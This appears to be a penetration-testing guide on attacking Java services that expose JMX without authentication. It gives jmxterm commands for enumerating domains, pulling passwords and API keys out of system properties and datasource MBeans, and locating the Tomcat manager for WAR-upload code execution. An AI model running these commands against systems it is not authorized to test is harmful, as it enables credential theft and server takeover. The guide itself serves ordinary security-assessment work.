Skip to content

JMX Unauthenticated Access

6 min read Created Apr 4, 2026 Last updated Apr 4, 2026

JMX without authentication exposes the full management plane of the Java application: runtime information, configuration, deployed applications, user stores, and management operations. The exposure scope depends on which MBeans are registered. At minimum you get JVM internals. In application server deployments you often get deployed application names, datasource connection strings including credentials, and operations that trigger application behavior. This is an immediate critical finding. It enables credential theft, remote code execution through MBean write operations, and full configuration disclosure. Some servers enforce authentication only on write operations while allowing unauthenticated reads. If a password prompt appears on connection, pivot to credential attacks against the JMX service. Confirm JMX connectivity through jmxterm enumeration first.

  • Confirm Unauthenticated Connection
  • Extract System Properties
  • Enumerate Tomcat Deployed Applications
  • Read Datasource Connection Strings
  • Check Threading and Memory for Impact Assessment

Confirm Unauthenticated Connection

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\ndomains\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -v '^#'
java.lang
Catalina
Users
com.sun.management
Explain command
-e Enable interpretation of backslash escape sequences in the string.
$TARGET_IP:1099 Placeholder for target IP and JMX RMI registry port 1099.
-jar /opt/jmxterm.jar Execute the specified JAR file as the main application.
2>/dev/null Redirect stderr to null device, suppressing error output.
-v '^#' Invert match to exclude lines beginning with a hash character.

Domains returned without a credential prompt confirms unauthenticated access. Each domain maps to a distinct attack surface. The java.lang domain exposes JVM internals: system properties, threading, memory, and the class path. Catalina indicates a running Tomcat instance with deployment, context, and session management access. com.sun.management provides JVM monitoring and diagnostic operations including on-demand heap dumps. Work through each domain systematically using the beans command. Application-specific domains such as org.springframework or com.zaxxer indicate third-party frameworks with their own registered MBeans and potentially more embedded credentials. No output at all means the connection failed or the RMI registry resolved to a different service on that port.

Extract System Properties

System properties often contain application configuration including database URLs, credentials, and internal hostnames. Empty output means no sensitive keys appear at the system property level, but the application may still expose credentials through individual MBean attributes in other domains. Internal hostnames in JDBC URLs expose backend network topology useful for lateral movement planning. Multiple JDBC entries indicate separate database connections and separate credential sets. Check the java.class.path property separately to map installed frameworks and library versions. Filter output for credential-related keys:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean java.lang:type=Runtime\nget SystemProperties\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -iE 'password|secret|key|db|jdbc|user|credential'
db.password = SuperSecret123!
jdbc.url = jdbc:mysql://10.10.10.20:3306/appdb
app.api.key = sk-prod-abc123
Explain command
-e Enable interpretation of backslash escape sequences in echo output.
$TARGET_IP:1099 Placeholder for target host and JMX RMI registry port.
-jar /opt/jmxterm.jar Execute the specified JAR file as the main Java application.
2>/dev/null Redirect stderr to null device, suppressing error messages.
-iE Case-insensitive match using extended regex pattern.
'password|secret|key|db|jdbc|user|credential' Regex pattern to filter output for sensitive configuration keywords.

Enumerate Tomcat Deployed Applications

When the Catalina domain is present (Tomcat), list deployed web applications and their states. Manager and HostManager applications are the most valuable targets. A deployed Tomcat manager allows WAR file upload and leads directly to remote code execution on the server. List all beans in the Catalina domain and filter for management-relevant types:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans -d Catalina\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -i 'Manager\|Context\|Engine'
Catalina:type=Manager,context=/manager,host=localhost
Catalina:type=Manager,context=/webapp,host=localhost
Catalina:type=Context,context=/manager,host=localhost

The Catalina Manager context confirms the Tomcat manager is deployed: move to Tomcat manager testing. You can read the manager context attributes to confirm the deployed path and access settings. If the manager runs at a non-standard path, the path attribute on the Context MBean reveals it directly through JMX without any HTTP interaction. Read Context attributes before attempting HTTP access to know exactly what you are targeting. Deployed application names also identify additional web targets for directory brute force and vulnerability scanning.

Read Datasource Connection Strings

Application servers register datasources as MBeans: connection strings including embedded passwords are often readable. WildFly and JBoss register datasources under jboss.as or jboss.jca domains rather than Catalina. If no datasource MBeans appear under Catalina, search all registered beans before concluding nothing is exposed. Credentials extracted here give direct database access on the backend network. Search all registered beans for datasource-related names:

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -i 'datasource\|pool\|jdbc'
Catalina:type=DataSource,context=/webapp,host=localhost,name=jdbc/appdb
Explain command
-e Enable interpretation of backslash escape sequences in echo.
$TARGET_IP:1099 Placeholder for target host IP and JMX RMI registry port.
-jar /opt/jmxterm.jar Execute the specified JAR file as a standalone JMX terminal tool.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
-i 'datasource\|pool\|jdbc' Case-insensitive grep filter for JMX bean names related to DB connections.
bean Catalina:type=DataSource,context=/webapp,host=localhost,name=jdbc/appdb
get url
get username
get password

Check Threading and Memory for Impact Assessment

JVM thread count and heap usage give a sense of application load and help scope impact. A thread count above 100 in a web application indicates active request handling under significant load. Heap values near the committed or max threshold signal memory pressure. High used memory close to the max value means the process is under stress. Avoid MBean write operations against a memory-pressured JVM: they can trigger additional GC cycles and affect application stability. These metrics inform the decision to attempt diagnostic operations such as triggering thread dumps or reconfiguring logging levels. After collecting credentials and mapping deployed applications, pivot to exploitation. Confirmed datasource credentials move directly to database access. System property credentials often reuse across other services on the same host or internal network.

┌──(kali㉿kali)-[~]
└─$ echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean java.lang:type=Threading\nget ThreadCount\nbean java.lang:type=Memory\nget HeapMemoryUsage\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null | grep -v '^#'
47
{init=268435456, used=98566352, committed=257425408, max=3817865216}
Explain command
-e Enable interpretation of backslash escape sequences in echo output.
service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi JMX service URL targeting RMI registry on port 1099 of the target host.
$TARGET_IP Placeholder for the target host IP address.
-jar /opt/jmxterm.jar Execute the JMXTerm JAR file as the main application entry point.
2>/dev/null Redirect stderr to /dev/null to suppress error messages.
'^#' Regex pattern used with grep -v to filter out comment lines starting with #.
-v Invert match, printing only lines that do NOT match the pattern.

References